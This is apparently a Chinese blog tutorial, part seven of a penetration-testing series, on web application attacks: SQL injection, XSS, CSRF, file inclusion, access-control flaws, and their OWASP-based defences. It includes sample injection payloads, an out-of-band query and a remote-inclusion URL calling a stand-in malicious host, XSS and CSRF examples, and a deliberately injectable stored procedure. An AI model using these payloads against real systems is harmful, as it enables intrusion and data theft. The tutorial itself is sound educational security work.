渗透测试指南(七)基于应用的漏洞利用

渗透测试指南系列文章内容纲要
第一章 渗透测试简介
第二章 前期交互
第三章 信息收集
第四章 漏洞识别
第五章 社会工程学
第六章 有线/无线网络利用
第七章 基于应用的漏洞利用
第八章 基于本地主机和物理的利用
第九章 后-利用 技术
第十章 渗透测试工具集介绍
第十一章 渗透报告

本篇文章基于应用(Application-Based)是指基于Web应用,所以本文主要围绕Web应用的漏洞利用展开。

关于Web安全测试我之前写过两篇文章 OWASP安全测试指南解读, 浅谈Web渗透测试 介绍了web渗透测试的思路。

本文涉及的漏洞类型

基于注入的漏洞

本章涉及到的注入漏洞包括SQL注入,HTML注入和命令注入

SQL注入

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. [1]

SQL注入是指攻击者从客户端把SQL语句注入到后台并执行,达到攻击的目的,可增删改查数据库内容,读写文件等。

比如SQL语句 SELECT * FROM Customers WHERE ContackName LIKE ‘%Saavedra%’
其中%Saavedra%是从前端form传输到后端的,如果后端对于前端输入的数据没有做合适的校验,就可能就会造成SQL注入。

根据SQL注入获取信息的渠道,可以把SQL注入分为In-band注入,Out-of-band注入, Blind注入。In-band注入(带内注入)是指在请求的Response中可以看到注入效果。最直观的例子是在Burpsuit的repeater中在response中可以看到注入效果。而Out-of-band注入(带外注入)是指注入的结果不在当前请求操作中返回,而是在其他通道中返回,有点类似于侧信道攻击。最后Blind注入(盲注)是指没有response可以判断是否注入成功,服务器没有任何数据回显。这种情况下,可以通过sleep时间延迟的方式判断注入是否成功。

攻击SQL注入的攻击技术,可以分为 Union型注入,Boolean型注入,Error-based型注入,Out-of-band型注入,Time delay型注入, 等几类。

在做SQL注入测试前,首先尝试探测SQL服务器的型号和版本信息,可以用nmap尝试去扫描,或者是输入非法的字符让SQL语句执行报错,根据错误信息判断SQL服务器的型号和版本。

UNION型注入

下面例子是常规的UNION注入,取自WEBGOAT靶机,正常的操作是输入一个用户名,服务器会返回该用户名的userid,username,password等字段信息

但是如果输入以下的用户名,就可以获取所有用户的用户名和密码,当前利用该漏洞是有前提的,那就是你清楚每个字段的类型以及表名user_system_data

omar' UNION SELECT 1,user_name,password,'1','1','1',1 FROM user_system_data --

一般来说union注入是基于有回显的情况下,泄露一些敏感数据。

布尔型注入

如果攻击者进行SQL注入时,服务器返回的信息有两种状态,注入语句执行成功和注入语句执行失败返回的状态不一样,就属于布尔型注入。

根据DVWA的例子,根据userid判断用户是否存在,比如输入1返回用户存在,输入5返回用户不存在。这种场景下,如果输入1’ and 1=2 # 返回用户不存在,而输入1’ and 1=1 # 返回用户存在,则这里是一个布尔型注入的注入点。

1' and 1=1 #

带外SQL注入

前面有简单提到Out-of-band注入,简单来说,如果后端通过其他通道返回信息,则认为是带外(Out-of-band)。

比如下面的例子,如果malicious站点能收到访问请求,则表明存在带外SQL注入(UTL_HTTP仅适用于Oracle)

https://store.h4cker.org/buyme.php?id=8||UTL_HTTP.request('malicious.h4cker.org')||(SELECT user FROM DUAL)--

基于时间型注入

当无法通过服务器返回的信息判断是否注入成功时,就需要基于时间的SQL注入来进行测试。

基于时间的基本思路是如果SQL语句被执行,则sleep固定时间比如2.5秒,如果服务器返回时间延迟了2.5秒,说明SQL执行成功,在UNION和布尔型中也可以使用基于时间的注入,这个特点让基于时间的注入在扫描器中非常适用。

下面的例子中,注入语句表述为如果版本信息是8开头,则sleep 10秒,也就是当目标系统的sql版本为8开头,则response要10秒后才返回。

https://store.h4cker.org/buyme.php?id=8 AND IF(version() like '8%', sleep(10), 'false'))--

sqli-labs是很好的练习SQL注入的靶机环境,有兴趣的读者可以搭建起来学习。sqli-labs主页 https://github.com/Audi-1/sqli-labs

存储过程

存储过程(Stored Procedure)是在大型数据库系统中,一组为了完成特定功能的SQL 语句集,它存储在数据库中,一次编译后永久有效,用户通过指定存储过程的名字并给出参数(如果该存储过程带有参数)来执行它。

事实上,不是使用了存储过程就可以防止SQL注入,我们来看一个例子

前端
<form method="post" action="injection.php" enctype="multipart/form-data" >
    Username:<input type="text" name="Username" id="Username"/></br>
    Password:<input type="text" name="Password" id="Password"/></br>
    <input type="submit" name="submit" value="Submit" />
</form>

后端
<?php
if(isset($_POST['Username']))
{
    $username = $_POST['Username'];
    $password = $_POST['Password'];

    // Connect to the server.
    ...

    // Execute a parameterized query.
    $params = array($username, $password);
    $stmt = sqlsrv_query($conn, "{call VerifyUser( ?, ? )}", $params);

    // If a row is returned, we have a username-password match.
    if(sqlsrv_has_rows($stmt))
    {
        echo "Welcome.";
    } else {
        echo "Invalid password.";
    }
}
?>

存储过程1

CREATE PROCEDURE VerifyUser
    @username varchar(50),
    @password varchar(50)
AS
BEGIN
    DECLARE @sql nvarchar(500);
    SET @sql = 'SELECT * FROM UserTable
                WHERE UserName = ''' + @username + '''
                AND Password = ''' + @password + ''' ';
    EXEC(@sql);
END
GO

存储过程2

CREATE PROCEDURE VerifyUser
    @username varchar(50),
    @password varchar(50)
AS
BEGIN
    SELECT * FROM UserTable 
    WHERE UserName = @username 
    AND Password = @password;
END
GO

上述例子可以看到,存储过程1还是SQL语句的拼接,还是存在SQL注入漏洞,而存储过程2可以有效避免SQL注入漏洞,所以使用存储过程能否避免SQL注入还是取决于存储过程是怎么写的。本例子来自参考文献[3]

SQL注入规避方式

更多规避方式,可参考 https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

HTML注入

HTML injection is an attack that is similar to Cross-site Scripting (XSS). While in the XSS vulnerability the attacker can inject and execute Javascript code, the HTML injection attack only allows the injection of certain HTML tags. [2]

根据acunetix的描述,html注入和xss的区别在于,xss是注入js代码,而html注入是注入html标签,html注入主要用于钓鱼。

html注入,本质上就是把一些非法的html内容注入到被攻击者的流量的前端页面。至于注入的方式可以通过form注入,还可以通过入侵web服务器修改页面,等等。

命令注入

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. [1]

命令注入重点在于execution of arbitrary commands on the host operating system在目标系统上执行任意操作系统命令。根据笔者的经验,一般配置ip的地方很容易有注入,原因在于很多时候配置ip要不然是用脚本处理,要不然就是用system等类似的函数处理,参数合法性校验稍有不慎就很容易存在命令注入。

命令注入区别于RCE(Remote Code Execution)在于RCE是代码层面的执行,一般是指解释性语言的代码注入。DVWA有命令注入的练习,读者有兴趣可以搭建环境试试这个漏洞。

基于认证的漏洞

认证漏洞可以分为以下几类

凭证暴破

凭证暴破可分为线上暴破和线下暴破

线上暴破是在线的通过网络传输暴破帐户密码,典型的工具有hydra,Ncrack

线下暴破是获取了密码的密文,暴破出密码明文,可以通过John The Ripper,彩虹表,Hashcat等工具暴破

会话劫持

客户端和服务器的一组交互从开始到结束就是一次会话。我们都知道tcp连接过程,从tcp三次握手,到tcp四次挥手,就是一次会话。

Web服务在客户端访问服务器之后,服务器会把会话ID放在Cookie中,以方便服务器识别客户端身份。

会话ID可分为认证前和认证后两个阶段,认证前阶段会话ID只是标识一个未经认证的客户端,而认证后的会话ID就是标识一个经过认证的客户端,服务器通过认证后的会话ID来识别用户,并提供相应的权限。

那么问题来了,假设攻击者获取了这个认证后的会话ID,是否可以仿冒正常用户?这里抛出的问题就是会话劫持,当攻击者通过某些手段获取认证后的会话ID后,可以用被攻击者的身份执行操作。

攻击者可以通过 会话暴破,会话嗅探,中间人攻击等方式获取会话ID,当然一个很典型的场景是会话ID放在URI中传输,这种情况是很容易造成会话ID泄露的,这是一个很应该关注的问题。

修复会话劫持的方式可以尝试把会话和客户端ip绑定,这样即使会话被第三方获取,也无法成功利用。当然某些场景下不能使用这种修复方式,可以作为一个一般性的解决思路。

可参考OWASP Testing Guide v4的第9章 会话管理测试 了解更多会话相关的安全问题。

重定向

某些场景下,可以通过构造恶意的URL来利用重定向和转发漏洞达成认证和访问控制绕过的目的。

默认凭证/弱凭证

Why do you need hackers, if you have default passwords?

笔者也曾经处理过一些应急响应事件,调查到最后发现原因就是ssh是默认密码,这种事情非常常见,2016年Mirai病毒的感染途径就是telnet弱凭证扫描。所以不要以为产品做安全就可以了,运维也是重要的环节。

这个站点收集了很多厂商的默认密码,供读者参考 https://default-password.info/

Kerberos利用

和Kerberos有关的两个安全问题是golden ticket(黄金票据)和unconstrained Kerberos delegation

这一块知识笔者接触少,就不过多展开,有兴趣的读者可自行查找资料。

基于授权的漏洞

在谈论授权漏洞前,先了解一些授权的基本模型,现有的比较成熟的授权模型有自主访问控制(Discretionary Access Control),强制访问控制(Mandatory Access Control),基于角色的访问控制(Role-Based Access Control),基于属性的访问控制(Attribute-Based Access Control)

其中DAC和MAC大多数情况在操作系统比较常见,而一般的Web应用,多数是使用RBAC。RBAC的漏洞大体可以分为两类,水平越权和垂直越权。

水平越权

基于角色的访问控制RBAC中每个用户都归属于一个角色,每个角色是特定的权限的集合,比如user用户,属于user角色,user角色拥有增删改查属于自身的资源的权限。

而admin用户属于admin角色,admin角色拥有增删改查所有用户资源,且可以增删改查用户及角色的权限。

水平越权是指用户拥有某个权限,但是越权操作了不属于自身的资源,这个漏洞也被称为IDOR(Insecure Direct Object Reference 不安全的直接对象引用),比如user1用户想要删除一张属于自己的图片,请求

POST /delect/picture

...

delete=1

这里的1就是user1用户的某张图片的对象的id,假设用户把delete=1修改为delete=11,那么有可能就删除了user2的图片,user1有删除图片的权限,但删除了别人的图片,这就造成水平越权。

垂直越权

上文已经解释了水平越权,垂直越权是指操作了不属于自身权限访问的资源。比如user用户是无法添加用户和角色的。假设user用户登录后使用自己的session可以添加新用户,那么就属于垂直越权

HPP参数污染

HTTP Parameter Pollution(HTTP参数污染)是指同样的参数重复出现,比如

https://store.h4cker.org/?search=cars&results=20&search=bikes

攻击者可以利用HPP漏洞去绕过输入检测,触发应用异常报错,或者修改内部变量的值等

XSS漏洞

逛逛hackerone可以频繁的看到xss和sql注入漏洞就可以知道,XSS是常见的安全漏洞

针对XSS的分析从以下四个方面展开

XSS是什么

不知道大家有没有想过一个问题,xss(cross site scripting)为什么要叫跨站脚本攻击?像我们平时测试,输入xss payload,弹个窗,并没有跨站。(按照缩写应该是css,但是和前端的CSS样式冲突了,所以改为xss)

我查了一些资料,感觉这个回答是比较准确的

大多数情况
A站访客受到的XSS攻击代码是来自于B站
通过攻击得到的数据反馈会传至B站
故称跨站
    -- 辰极思瀚网络安全实验室创始人 李鑫

xss是指攻击者恶意构造的数据(一般为js代码,也可以是某些html标签比如img,video等)在被攻击者访问页面的时候触发执行。下面来看看xss有哪些类型,分别是什么攻击机制

XSS的类型

xss可以分为反射型,存储型和DOM型, 下文中 把攻击者用attacker替代,被攻击者用victim替代

反射型XSS(Reflectd XSS)

图片来自参考文献[4]

在反射型xss的攻击场景中,attacker构造一个恶意的URL,引诱victim点击,比如上图中的

GET /index.php?q=<script>alert(1)</script>

victim点击上述连接,请求发送给服务器,服务器收到q参数后,经过一顿操作猛如虎,把数据封装在返回的html页面中,此时q对于的值转身变为js代码,浏览器收到这个html后渲染后触发js弹窗。

存储型XSS(Stored XSS)

图片来自参考文献[5]

上图中可以把Client1认为是attacker,把Client2认为是victim,attacker预先把恶意数据发送给服务器,服务器收到attacker的数据后,把数据保存在数据库,当victim访问服务器的时候,服务器把attacker的数据取出来,封装成html发送给victim,victim的浏览器解析渲染过程,触发xss攻击。

DOM型XSS(DOM-Based XSS)

DOM型xss也属于反射型,和反射型的区别在于DOM型xss不会把payload数据发送到服务器,而是直接在客户端解析执行

举个例子,本地搭建一个环境试试(本例子来源于参考文献[6])

新建一个目录DOMxss,在DOMxss目录下,新建一个文件domxss.html,文件内容如下

<html>
<head>
<title>Custom Dashboard </title>

</head>
Main Dashboard for
<script>
	var pos=document.URL.indexOf("context=")+8;
	document.write(document.URL.substring(pos,document.URL.length));
</script>

</html>

在DOMxss目录下,执行 python -m http.server 88

打开浏览器输入以下地址,理论上能触发弹窗,实际上因为浏览器的安全机制,我试了chrome,IE,firefox都无法弹窗。可能旧版本的浏览器没有安全机制,还是能触发弹窗的。
http://localhost:88/domxss.html?context=Mary%3Cscript%3Ealert(1)%3C/script%3E

XSS的研究方向

以我个人观点,xss的研究可以从以下几个方面深入

首先是注入点的发现,定位哪里的输入可以对于的哪里的输出,可能在同一个通道,也可能在不同通道。站在前端的视角,看数据是怎么发给服务器,服务器是怎么返回的,返回后的数据经过这么处理后,再丢给浏览器解析渲染。 经过上述步骤分析之后,可以确定哪里可能存在注入点。

payload的构造要做到两点,一点是能绕过各种WAF,IDS,IPS防护,另一点是构造的payload要能做点事,别只是弹个窗,到这一步好歹也是偷个Cookie或者进行CSRF等做点什么事情。payload的规避过滤技术可以参考OWASP的这篇文章 https://owasp.org/www-community/xss-filter-evasion-cheatsheet

网络上有各种针对xss的奇技淫巧的利用方式,我印象深刻的是一个xss蠕虫攻击,利用xss进行感染传播。对xss漏洞进一步利用,达到更大的破坏效果。

XSS的防护方法

xss的本质原因是把数据当代码执行了,可以把xss理解为代码注入。所以xss防护的核心思想是转义,把数据还原成数据,比如对于浏览器来说

会把字符串 <img src=x> 解析为html的img标签,渲染为图片
而&lt;img src=x&gt; 浏览器会认为这是一串文本,渲染成"<img src=x>"字符显示在页面中。

所以用html编码可以解决很大一部分的xss问题。另外也可以在http的header部分添加X-XSS-Protection,以及在Cookie中添加HTTPOnly来减少xss的影响。

在xss攻击过程中,payload会从前端发送给后端,后端处理后再返回给前端,前端再进一步处理,最后到浏览器渲染。这几个过程中就可能存在多重转义编码问题,我们的希望是在前端拿到后端的数据到丢给浏览器渲染之前,能做到良好的html编码,这样可以有效防止xss。

上图来自OWASP Cross_Site_Scripting_Prevention_Cheat_Sheet,罗列了各种情况下转义原则。更多内容请查看参考文献[7]。

我们来看其中两条,例1 输入的是字符串,插入到HTML body,比如<span>UNTRUSTED DATA </span>,这种情况下,建议是把输入的字符串按照 HTML编码(&#xHH)的方式插入。

String	HTML Body	<span>UNTRUSTED DATA </span>	HTML Entity Encoding (rule #1).

例2 输入的是字符串,插入到js变量中,比如 <script>var currentValue=’UNTRUSTED DATA ‘;</script>, 这种情况下,建议是把变量用引号覆盖,并且把js代码用十六进制或者unicode编码插入,并且防止反斜杆的编码。

String	JavaScript Variable	<script>var currentValue='UNTRUSTED DATA ';</script> <script>someFunction('UNTRUSTED DATA ');</script>	Ensure JavaScript variables are quoted, JavaScript Hex Encoding, JavaScript Unicode Encoding, Avoid backslash encoding (\" or \' or \\).

想了解更多,请查看参考文献[7]。

CSRF漏洞

如上图所示,CSRF的工作原理是 步骤一:victim访问到目标站点,步骤二:attacker引诱victim打开恶意URL,步骤三:victim在同一浏览器打开恶意URL,步骤四:victim的浏览器在打开恶意URL渲染时,触发CSRF操作,对目标站点进行请求伪造攻击。

再举一个例子说明,假设A站点 a.com,有一个接口是adduser,比如http://a.com?action=adduser&username=user&password=passwd 此时victim正常访问并登录a站点,attacker引诱victim打开b.com站点,而该站点有一个链接是 <a href=http://a.com?action=adduser&username=user&password=passwd>苍老师全集 点我下载</a> victim打开了这个链接就触发了CSRF,浏览器会在victim在b站点点击打开访问a站点的链接时,自动把cookie信息填上,完成身份认证。

更多csrf相关内容,可查看 https://seclab.stanford.edu/websec/csrf/

点击劫持

图片来自09-Testing_for_Clickjacking

所谓点击劫持是指attacker诱导victim点击的按钮/链接并非实际看到的,而是访问到其他恶意网站。

修复方式:服务器可以通过到http头部添加X-Frame-Options,以及可以强制当前frame为top-level

更多点击劫持防御方式,可查看 https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html

错误配置漏洞

错误配置漏洞中,两个典型的漏洞是目录遍历漏洞和Cookie篡改(Cookie manipulation)

目录遍历

在配置web服务器时,都有目录浏览的开关,如果使能目录浏览,就存在目录遍历漏洞。

书本中对目录遍历(Directory Traversal)的定义如下

A directory traversal vulnerability can allow attackers to access files and directories that are stored outside the web root folder.

目录遍历的重点在于能否跳出web根目录,无论是通过相对路径 ../, 还是绝对路径/来跳出web根目录。

Cookie篡改

和xss类似,attacker把恶意js代码注入到victim所访问的页面DOM中,最后再出发DOM中的代码执行,修改Cookie的值。

文件包含漏洞

文件包含可以分为 本地文件包含(LFI)和远程文件包含(RFI)

下面是一段对本地文件包含的描述,有点任意文件读取的感觉,但是也包括文件包含执行代码

Successful exploitation could allow an attacker to read and (in some case) execute files on the victim’s system

远程文件包含是指远程加载页面或者代码执行,比如

http://192.168.78.8/vulnerabilities/fi/?page=http://malicious.h4cker.org/malware.html

不安全的代码

结语

我想引用曾文正公的一句话来表达我对渗透测试以及漏洞挖掘的体会

为政之道无他,心存百姓,耐烦而已。 – 曾国藩

渗透测试无他,心存漏洞,耐烦而已。

由于笔者水平有限,文章难免会有错误的,欢迎读者批评指正。笔者个人邮箱:kafrocyang@gmail.com

参考文献

[1] https://owasp.org/www-community/attacks/Command_Injection
[2] https://www.acunetix.com/vulnerabilities/web/html-injection/
[3] https://docs.microsoft.com/en-gb/archive/blogs/brian_swan/do-stored-procedures-protect-against-sql-injection
[4] https://emarsys.com/learn/blog/360-view-xss-trenches/
[5] https://blog.craftlab.hu/360-view-of-xss-from-the-trenches-part-2-4b2174f26fb6
[6] https://www.acunetix.com/blog/articles/dom-xss-explained/
[7] https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
[8] https://owasp.org/www-community/Improper_Error_Handling
[9] https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html
[10] PenTest+ Cert Guide

Table of Contents